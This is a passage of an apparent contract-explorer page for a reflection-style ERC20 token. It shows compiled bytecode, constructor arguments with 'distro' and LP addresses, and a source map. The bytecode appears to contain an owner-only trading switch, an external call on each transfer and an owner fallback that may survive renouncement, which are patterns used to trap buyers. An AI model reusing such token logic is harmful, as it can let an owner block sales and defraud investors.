ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158a9092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114838160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cce90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115219190611dae565b60405180910390a35b611585565b60011515600a5f9054906101000a900460ff16151514611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b9061254a565b60405180910390fd5b5b505050565b5f8383111582906115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c89190611cb4565b60405180910390fd5b505f83856115df9190612568565b9050809150509392505050565b5f805f6115f7611786565b9150915061160e818361161590919063ffffffff16565b9250505090565b5f61165683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a3d565b905092915050565b611666610c2d565b73ffffffffffffffffffffffffffffffffffffffff16611684611a9e565b73ffffffffffffffffffffffffffffffffffffffff16146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d1906125e5565b60405180910390fd5b565b5f805f6117076103e86116f9600287611ab190919063ffffffff16565b61161590919063ffffffff16565b90505f61171d8286610c8590919063ffffffff16565b90508082935093505050915091565b5f805f806117438588611ab190919063ffffffff16565b90505f6117598688611ab190919063ffffffff16565b90505f61176f8284610c8590919063ffffffff16565b905082818395509550955050505093509350939050565b5f805f600b5490505f68056bc75e2d6310000090505f5b6007805490508110156119f2578260035f600784815481106117c2576117c1612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411806118a757508160045f6007848154811061184357611842612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156118c557600b5468056bc75e2d6310000094509450505050611a39565b61195060035f600784815481106118df576118de612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484610c8590919063ffffffff16565b92506119dd60045f6007848154811061196c5761196b612603565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483610c8590919063ffffffff16565b915080806119ea90612630565b91505061179d565b50611a1168056bc75e2d63100000600b5461161590919063ffffffff16565b821015611a3057600b5468056bc75e2d63100000935093505050611a39565b81819350935050505b9091565b5f8083118290611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a9190611cb4565b60405180910390fd5b505f8385611a9191906126a4565b9050809150509392505050565b5f80611aa8611b28565b90508091505090565b5f808303611ac1575f9050611b22565b5f8284611ace91906126d4565b9050828482611add91906126a4565b14611b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1490612785565b60405180910390fd5b809150505b92915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba0575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611bc3565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f80fd5b5f819050919050565b611bde81611bcc565b8114611be8575f80fd5b50565b5f81359050611bf981611bd5565b92915050565b5f60208284031215611c1457611c13611bc8565b5b5f611c2184828501611beb565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c61578082015181840152602081019050611c46565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c8682611c2a565b611c908185611c34565b9350611ca0818560208601611c44565b611ca981611c6c565b840191505092915050565b5f6020820190508181035f830152611ccc8184611c7c565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611cfd82611cd4565b9050919050565b611d0d81611cf3565b8114611d17575f80fd5b50565b5f81359050611d2881611d04565b92915050565b5f8060408385031215611d4457611d43611bc8565b5b5f611d5185828601611d1a565b9250506020611d6285828601611beb565b9150509250929050565b5f8115159050919050565b611d8081611d6c565b82525050565b5f602082019050611d995f830184611d77565b92915050565b611da881611bcc565b82525050565b5f602082019050611dc15f830184611d9f565b92915050565b5f805f60608486031215611dde57611ddd611bc8565b5b5f611deb86828701611d1a565b9350506020611dfc86828701611d1a565b9250506040611e0d86828701611beb565b9150509250925092565b5f60ff82169050919050565b611e2c81611e17565b82525050565b5f602082019050611e455f830184611e23565b92915050565b611e5481611d6c565b8114611e5e575f80fd5b50565b5f81359050611e6f81611e4b565b92915050565b5f8060408385031215611e8b57611e8a611bc8565b5b5f611e9885828601611beb565b9250506020611ea985828601611e61565b9150509250929050565b5f60208284031215611ec857611ec7611bc8565b5b5f611ed584828501611d1a565b91505092915050565b611ee781611cf3565b82525050565b5f602082019050611f005f830184611ede565b92915050565b5f8060408385031215611f1c57611f1b611bc8565b5b5f611f2985828601611d1a565b9250506020611f3a85828601611d1a565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c20745f8201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b5f611f9e602c83611c34565b9150611fa982611f44565b604082019050919050565b5f6020820190508181035f830152611fcb81611f92565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061201657607f821691505b60208210810361202957612028611fd2565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612089602a83611c34565b91506120948261202f565b604082019050919050565b5f6020820190508181035f8301526120b68161207d565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c79005f82015250565b5f6120f1601f83611c34565b91506120fc826120bd565b602082019050919050565b5f6020820190508181035f83015261211e816120e5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61215c82611bcc565b915061216783611bcc565b925082820190508082111561217f5761217e612125565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6121b9601b83611c34565b91506121c482612185565b602082019050919050565b5f6020820190508181035f8301526121e6816121ad565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612247602483611c34565b9150612252826121ed565b604082019050919050565b5f6020820190508181035f8301526122748161223b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122d5602283611c34565b91506122e08261227b565b604082019050919050565b5f6020820190508181035f830152612302816122c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612363602583611c34565b915061236e82612309565b604082019050919050565b5f6020820190508181035f83015261239081612357565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6123f1602383611c34565b91506123fc82612397565b604082019050919050565b5f6020820190508181035f83015261241e816123e5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61247f602983611c34565b915061248a82612425565b604082019050919050565b5f6020820190508181035f8301526124ac81612473565b9050919050565b5f6060820190506124c65f830186611ede565b6124d36020830185611ede565b6124e06040830184611d9f565b949350505050565b5f815190506124f681611e4b565b92915050565b5f6020828403121561251157612510611bc8565b5b5f61251e848285016124e8565b91505092915050565b50565b5f6125355f83611c34565b915061254082612527565b5f82019050919050565b5f6020820190508181035f8301526125618161252a565b9050919050565b5f61257282611bcc565b915061257d83611bcc565b925082820390508181111561259557612594612125565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125cf602083611c34565b91506125da8261259b565b602082019050919050565b5f6020820190508181035f8301526125fc816125c3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61263a82611bcc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361266c5761266b612125565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126ae82611bcc565b91506126b983611bcc565b9250826126c9576126c8612677565b5b828204905092915050565b5f6126de82611bcc565b91506126e983611bcc565b92508282026126f781611bcc565b9150828204841483151761270e5761270d612125565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61276f602183611c34565b915061277a82612715565b604082019050919050565b5f6020820190508181035f83015261279c81612763565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dd26de277e9ba2325e7bb457a16d26fe4a05540c8d5e8387d88d5667b79c958f64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

-----Decoded View---------------
Arg [0] : distro (address): 0x2C8C10588098A54B2DF2148EC8819Ff88edDDf2c
Arg [1] : initialLpAddress_ (address): 0x82ca266d6D04475152734FcF12303a138c8CCE3b

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c
Arg [1] : 00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b


Deployed Bytecode Sourcemap

196:10096:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3838:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1898:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2734:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2175:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2908:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1801:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4664:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2084:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3229:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4222:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3732:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2282:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2523:148:1;;;:::i;:::-;;2090:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1989:87:5;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3455:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2408:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2583:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1651:138;;;:::i;:::-;;3838:376;3890:14;3907:12;:10;:12::i;:::-;3890:29;;3939:11;:19;3951:6;3939:19;;;;;;;;;;;;;;;;;;;;;;;;;3938:20;3930:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4019:15;4042:19;4053:7;4042:10;:19::i;:::-;4018:43;;;;;;4090:28;4110:7;4090;:15;4098:6;4090:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;4072:7;:15;4080:6;4072:15;;;;;;;;;;;;;;;:46;;;;4139:20;4151:7;4139;;:11;;:20;;;;:::i;:::-;4129:7;:30;;;;4183:23;4198:7;4183:10;;:14;;:23;;;;:::i;:::-;4170:10;:36;;;;3879:335;;3838:376;:::o;1898:83::-;1935:13;1968:5;1961:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1898:83;:::o;2734:161::-;2809:4;2826:39;2835:12;:10;:12::i;:::-;2849:7;2858:6;2826:8;:39::i;:::-;2883:4;2876:11;;2734:161;;;;:::o;2175:95::-;2228:7;1058:18;2248:14;;2175:95;:::o;2908:313::-;3006:4;3023:36;3033:6;3041:9;3052:6;3023:9;:36::i;:::-;3070:121;3079:6;3087:12;:10;:12::i;:::-;3101:89;3139:6;3101:89;;;;;;;;;;;;;;;;;:11;:19;3113:6;3101:19;;;;;;;;;;;;;;;:33;3121:12;:10;:12::i;:::-;3101:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3070:8;:121::i;:::-;3209:4;3202:11;;2908:313;;;;;:::o;1801:89::-;1848:4;1872:10;;;;;;;;;;;1865:17;;1801:89;:::o;4664:253::-;4730:7;4769;;4758;:18;;4750:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;4834:19;4857:10;:8;:10::i;:::-;4834:33;;4885:24;4897:11;4885:7;:11;;:24;;;;:::i;:::-;4878:31;;;4664:253;;;:::o;2084:83::-;2125:5;2150:9;;;;;;;;;;;2143:16;;2084:83;:::o;3229:218::-;3317:4;3334:83;3343:12;:10;:12::i;:::-;3357:7;3366:50;3405:10;3366:11;:25;3378:12;:10;:12::i;:::-;3366:25;;;;;;;;;;;;;;;:34;3392:7;3366:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;3334:8;:83::i;:::-;3435:4;3428:11;;3229:218;;;;:::o;4222:434::-;4312:7;1058:18;4340:7;:18;;4332:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4410:17;4405:244;;4445:15;4468:19;4479:7;4468:10;:19::i;:::-;4444:43;;;;;;4509:7;4502:14;;;;;4405:244;4551:23;4581:19;4592:7;4581:10;:19::i;:::-;4549:51;;;;;;4622:15;4615:22;;;4222:434;;;;;:::o;3732:94::-;3781:7;3808:10;;3801:17;;3732:94;:::o;2282:118::-;2348:7;2376;:16;2384:7;2376:16;;;;;;;;;;;;;;;;2369:23;;2282:118;;;:::o;2523:148:1:-;1960:13;:11;:13::i;:::-;2630:1:::1;2593:40;;2614:6;::::0;::::1;;;;;;;;2593:40;;;;;;;;;;;;2661:1;2644:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2523:148::o:0;2090:79::-;2128:7;2155:6;;;;;;;;;;;2148:13;;2090:79;:::o;1989:87:5:-;2028:13;2061:7;2054:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1989:87;:::o;3455:269::-;3548:4;3565:129;3574:12;:10;:12::i;:::-;3588:7;3597:96;3636:15;3597:96;;;;;;;;;;;;;;;;;:11;:25;3609:12;:10;:12::i;:::-;3597:25;;;;;;;;;;;;;;;:34;3623:7;3597:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;3565:8;:129::i;:::-;3712:4;3705:11;;3455:269;;;;:::o;2408:167::-;2486:4;2503:42;2513:12;:10;:12::i;:::-;2527:9;2538:6;2503:9;:42::i;:::-;2563:4;2556:11;;2408:167;;;;:::o;2583:143::-;2664:7;2691:11;:18;2703:5;2691:18;;;;;;;;;;;;;;;:27;2710:7;2691:27;;;;;;;;;;;;;;;;2684:34;;2583:143;;;;:::o;1651:138::-;1960:13:1;:11;:13::i;:::-;1729:4:5::1;1715:18;;:10;;;;;;;;;;;:18;;::::0;1711:71:::1;;1749:5;1736:10;;:18;;;;;;;;;;;;;;;;;;1711:71;;;1776:4;1763:10;;:17;;;;;;;;;;;;;;;;;;1711:71;1651:138::o:0;602:114:1:-;655:15;697:10;682:26;;602:114;:::o;8557:411:5:-;8616:7;8625;8634;8643;8652;8673:23;8698:12;8714:20;8726:7;8714:11;:20::i;:::-;8672:62;;;;8745:19;8768:10;:8;:10::i;:::-;8745:33;;8790:15;8807:23;8832:12;8848:39;8860:7;8869:4;8875:11;8848;:39::i;:::-;8789:98;;;;;;8906:7;8915:15;8932:4;8938:15;8955:4;8898:62;;;;;;;;;;;;;;;;8557:411;;;;;;;:::o;1211:136:4:-;1269:7;1296:43;1300:1;1303;1296:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1289:50;;1211:136;;;;:::o;826:179::-;884:7;904:9;920:1;916;:5;;;;:::i;:::-;904:17;;945:1;940;:6;;932:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;996:1;989:8;;;826:179;;;;:::o;4925:335:5:-;5035:1;5018:19;;:5;:19;;;5010:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5116:1;5097:21;;:7;:21;;;5089:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5198:6;5168:11;:18;5180:5;5168:18;;;;;;;;;;;;;;;:27;5187:7;5168:27;;;;;;;;;;;;;;;:36;;;;5236:7;5220:32;;5229:5;5220:32;;;5245:6;5220:32;;;;;;:::i;:::-;;;;;;;;4925:335;;;:::o;5272:1015::-;5387:1;5369:20;;:6;:20;;;5361:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5471:1;5450:23;;:9;:23;;;5442:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5541:1;5532:6;:10;5524:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5599:9;;;;;;;;;;;:22;;;5622:6;5630:9;5641:6;5599:49;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5677:4;5663:18;;:10;;;;;;;;;;;:18;;;:39;;;;5695:7;:5;:7::i;:::-;5685:17;;:6;:17;;;5663:39;:63;;;;5719:7;:5;:7::i;:::-;5706:20;;:9;:20;;;5663:63;5659:621;;;5743:11;:19;5755:6;5743:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;5767:11;:22;5779:9;5767:22;;;;;;;;;;;;;;;;;;;;;;;;;5766:23;5743:46;5739:489;;;5820:69;5840:6;5820:69;;;;;;;;;;;;;;;;;:7;:15;5828:6;5820:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;5802:7;:15;5810:6;5802:15;;;;;;;;;;;;;;;:87;;;;5921:30;5944:6;5921:7;:18;5929:9;5921:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;5900:7;:18;5908:9;5900:18;;;;;;;;;;;;;;;:51;;;;5984:9;5967:35;;5976:6;5967:35;;;5995:6;5967:35;;;;;;:::i;:::-;;;;;;;;5739:489;;;6044:69;6064:6;6044:69;;;;;;;;;;;;;;;;;:7;:15;6052:6;6044:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;6026:7;:15;6034:6;6026:15;;;;;;;;;;;;;;;:87;;;;6145:30;6168:6;6145:7;:18;6153:9;6145:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6124:7;:18;6132:9;6124:18;;;;;;;;;;;;;;;:51;;;;6208:9;6191:35;;6200:6;6191:35;;;6219:6;6191:35;;;;;;:::i;:::-;;;;;;;;5739:489;5659:621;;;6269:4;6255:18;;:10;;;;;;;;;;;:18;;;6246:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;5659:621;5272:1015;;;:::o;1573:190:4:-;1659:7;1692:1;1687;:6;;1695:12;1679:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1719:9;1735:1;1731;:5;;;;:::i;:::-;1719:17;;1754:1;1747:8;;;1573:190;;;;;:::o;9557:163:5:-;9598:7;9619:15;9636;9655:19;:17;:19::i;:::-;9618:56;;;;9692:20;9704:7;9692;:11;;:20;;;;:::i;:::-;9685:27;;;;9557:163;:::o;2809:132:4:-;2867:7;2894:39;2898:1;2901;2894:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2887:46;;2809:132;;;;:::o;2803:127:1:-;2873:12;:10;:12::i;:::-;2862:23;;:7;:5;:7::i;:::-;:23;;;2854:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2803:127::o;8976:231:5:-;9036:7;9045;9065:12;9080:24;9099:4;9080:14;9092:1;9080:7;:11;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;9065:39;;9115:23;9141:17;9153:4;9141:7;:11;;:17;;;;:::i;:::-;9115:43;;9177:15;9194:4;9169:30;;;;;;8976:231;;;:::o;9215:334::-;9310:7;9319;9328;9348:15;9366:24;9378:11;9366:7;:11;;:24;;;;:::i;:::-;9348:42;;9401:12;9416:21;9425:11;9416:4;:8;;:21;;;;:::i;:::-;9401:36;;9448:23;9474:17;9486:4;9474:7;:11;;:17;;;;:::i;:::-;9448:43;;9510:7;9519:15;9536:4;9502:39;;;;;;;;;9215:334;;;;;;;:::o;9728:561::-;9778:7;9787;9807:15;9825:7;;9807:25;;9843:15;1058:18;9843:25;;9890:9;9885:289;9909:9;:16;;;;9905:1;:20;9885:289;;;9975:7;9951;:21;9959:9;9969:1;9959:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9951:21;;;;;;;;;;;;;;;;:31;:66;;;;10010:7;9986;:21;9994:9;10004:1;9994:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9986:21;;;;;;;;;;;;;;;;:31;9951:66;9947:97;;;10027:7;;1058:18;10019:25;;;;;;;;;9947:97;10069:34;10081:7;:21;10089:9;10099:1;10089:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10081:21;;;;;;;;;;;;;;;;10069:7;:11;;:34;;;;:::i;:::-;10059:44;;10128:34;10140:7;:21;10148:9;10158:1;10148:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10140:21;;;;;;;;;;;;;;;;10128:7;:11;;:34;;;;:::i;:::-;10118:44;;9927:3;;;;;:::i;:::-;;;;9885:289;;;;10198:20;1058:18;10198:7;;:11;;:20;;;;:::i;:::-;10188:7;:30;10184:61;;;10228:7;;1058:18;10220:25;;;;;;;;10184:61;10264:7;10273;10256:25;;;;;;9728:561;;;:::o;3361:276:4:-;3447:7;3479:1;3475;:5;3482:12;3467:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3506:9;3522:1;3518;:5;;;;:::i;:::-;3506:17;;3628:1;3621:8;;;3361:276;;;;;:::o;2938:135:1:-;2981:7;3011:14;3028:13;:11;:13::i;:::-;3011:30;;3059:6;3052:13;;;2938:135;:::o;1942:467:4:-;2000:7;2250:1;2245;:6;2241:47;;2275:1;2268:8;;;;2241:47;2298:9;2314:1;2310;:5;;;;:::i;:::-;2298:17;;2343:1;2338;2334;:5;;;;:::i;:::-;:10;2326:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2400:1;2393:8;;;1942:467;;;;;:::o;2679:116:1:-;2724:7;2766:1;2750:18;;:6;;;;;;;;;;:18;;;:37;;2781:6;;;;;;;;;;2750:37;;;2771:7;;;;;;;;;;;2750:37;2743:44;;2679:116;:::o;88:117:6:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:246::-;1386:1;1396:113;1410:6;1407:1;1404:13;1396:113;;;1495:1;1490:3;1486:11;1480:18;1476:1;1471:3;1467:11;1460:39;1432:2;1429:1;1425:10;1420:15;;1396:113;;;1543:1;1534:6;1529:3;1525:16;1518:27;1367:184;1305:246;;;:::o;1557:102::-;1598:6;1649:2;1645:7;1640:2;1633:5;1629:14;1625:28;1615:38;;1557:102;;;:::o;1665:377::-;1753:3;1781:39;1814:5;1781:39;:::i;:::-;1836:71;1900:6;1895:3;1836:71;:::i;:::-;1829:78;;1916:65;1974:6;1969:3;1962:4;1955:5;1951:16;1916:65;:::i;:::-;2006:29;2028:6;2006:29;:::i;:::-;2001:3;1997:39;1990:46;;1757:285;1665:377;;;;:::o;2048:313::-;2161:4;2199:2;2188:9;2184:18;2176:26;;2248:9;2242:4;2238:20;2234:1;2223:9;2219:17;2212:47;2276:78;2349:4;2340:6;2276:78;:::i;:::-;2268:86;;2048:313;;;;:::o;2367:126::-;2404:7;2444:42;2437:5;2433:54;2422:65;;2367:126;;;:::o;2499:96::-;2536:7;2565:24;2583:5;2565:24;:::i;:::-;2554:35;;2499:96;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:116::-;5258:21;5273:5;5258:21;:::i;:::-;5251:5;5248:32;5238:60;;5294:1;5291;5284:12;5238:60;5188:116;:::o;5310:133::-;5353:5;5391:6;5378:20;5369:29;;5407:30;5431:5;5407:30;:::i;:::-;5310:133;;;;:::o;5449:468::-;5514:6;5522;5571:2;5559:9;5550:7;5546:23;5542:32;5539:119;;;5577:79;;:::i;:::-;5539:119;5697:1;5722:53;5767:7;5758:6;5747:9;5743:22;5722:53;:::i;:::-;5712:63;;5668:117;5824:2;5850:50;5892:7;5883:6;5872:9;5868:22;5850:50;:::i;:::-;5840:60;;5795:115;5449:468;;;;;:::o;5923:329::-;5982:6;6031:2;6019:9;6010:7;6006:23;6002:32;5999:119;;;6037:79;;:::i;:::-;5999:119;6157:1;6182:53;6227:7;6218:6;6207:9;6203:22;6182:53;:::i;:::-;6172:63;;6128:117;5923:329;;;;:::o;6258:118::-;6345:24;6363:5;6345:24;:::i;:::-;6340:3;6333:37;6258:118;;:::o;6382:222::-;6475:4;6513:2;6502:9;6498:18;6490:26;;6526:71;6594:1;6583:9;6579:17;6570:6;6526:71;:::i;:::-;6382:222;;;;:::o;6610:474::-;6678:6;6686;6735:2;6723:9;6714:7;6710:23;6706:32;6703:119;;;6741:79;;:::i;:::-;6703:119;6861:1;6886:53;6931:7;6922:6;6911:9;6907:22;6886:53;:::i;:::-;6876:63;;6832:117;6988:2;7014:53;7059:7;7050:6;7039:9;7035:22;7014:53;:::i;:::-;7004:63;;6959:118;6610:474;;;;;:::o;7090:231::-;7230:34;7226:1;7218:6;7214: